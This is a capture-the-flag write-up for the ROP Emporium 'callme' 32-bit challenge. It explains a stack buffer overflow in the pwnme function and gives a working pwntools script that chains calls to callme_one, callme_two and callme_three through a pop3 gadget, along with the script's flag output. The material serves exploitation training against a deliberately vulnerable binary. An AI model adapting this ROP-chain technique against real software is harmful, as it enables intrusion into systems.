#rop # callme x86 ## Triage ![](https://i.imgur.com/uHyRP7Q.png) Chain calls to multiple imported methods with specific arguments and see how the differences between 64 & 32 bit calling conventions affect your ROP chain. ### Disassembly main function calls vulnerable call pwnme ![](https://i.imgur.com/7oTNgtg.png) pwnme function ![](https://i.imgur.com/4jjhfIC.png) ## Vulnerability In the pwnme function, 0x200 bytes are read into the user_input buff but the user_input buff is on the stack -0x2c (-44) bytes off from the return address. If we supply 44 bytes, the next 4 bytes will overflow the return address and we gain control of the program counter. Confirming the vulnerability: ```bash python -c 'print "A"*44+"BBBB"' | strace ./callme32 ``` ```bash --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} --- +++ killed by SIGSEGV (core dumped) +++ [1] 3262578 done python -c 'print "A"*44+"BBBB"' | 3262579 segmentation fault (core dumped) strace ./callme32 ``` ## Exploit Description says: `To dispose of the need for any RE I'll tell you the following: You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag.` In x86 the way to pass function parameters is this: `[FUNCTION][RETURN][ARG1][ARG2][ARG3]` with EIP pointing to function. Using the gadget: `pop3 = p32(0x080487f9)# : pop esi ; pop edi ; pop ebp ; ret` We can pop the 3 arguments off the stack that we placed. This way we can control all the arguments that get passed to the function ### Script ```python from pwn import * context.binary = elf = ELF("./callme32") pop3 = p32(0x080487f9)# : pop esi ; pop edi ; pop ebp ; ret payload = "A"*44 payload += p32(elf.sym['callme_one']) payload += pop3 # return (cleans up 3 args) payload += p32(0xdeadbeef) # arg1 payload += p32(0xcafebabe) # arg2 payload += p32(0xd00df00d) # arg3 payload += p32(elf.sym['callme_two']) payload += pop3 # return (cleans up 3 args) payload += p32(0xdeadbeef) # arg1 payload += p32(0xcafebabe) # arg2 payload += p32(0xd00df00d) # arg3 payload += p32(elf.sym['callme_three']) payload += pop3 # return (cleans up 3 args) payload += p32(0xdeadbeef) # arg1 payload += p32(0xcafebabe) # arg2 payload += p32(0xd00df00d) # arg3 io = process("./callme32") io.sendline(payload) io.interactive() ``` ### Result ```bash [*] '/home/chris/ctfs/ropemporium/callme/x86/callme32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RUNPATH: '.' [+] Starting local process './callme32': pid 3264998 [*] Switching to interactive mode [*] Process './callme32' stopped with exit code 0 (pid 3264998) callme by ROP Emporium x86 Hope you read the instructions... > Thank you! callme_one() called correctly callme_two() called correctly ROPE{a_placeholder_32byte_flag!} [*] Got EOF while reading in interactive $ ```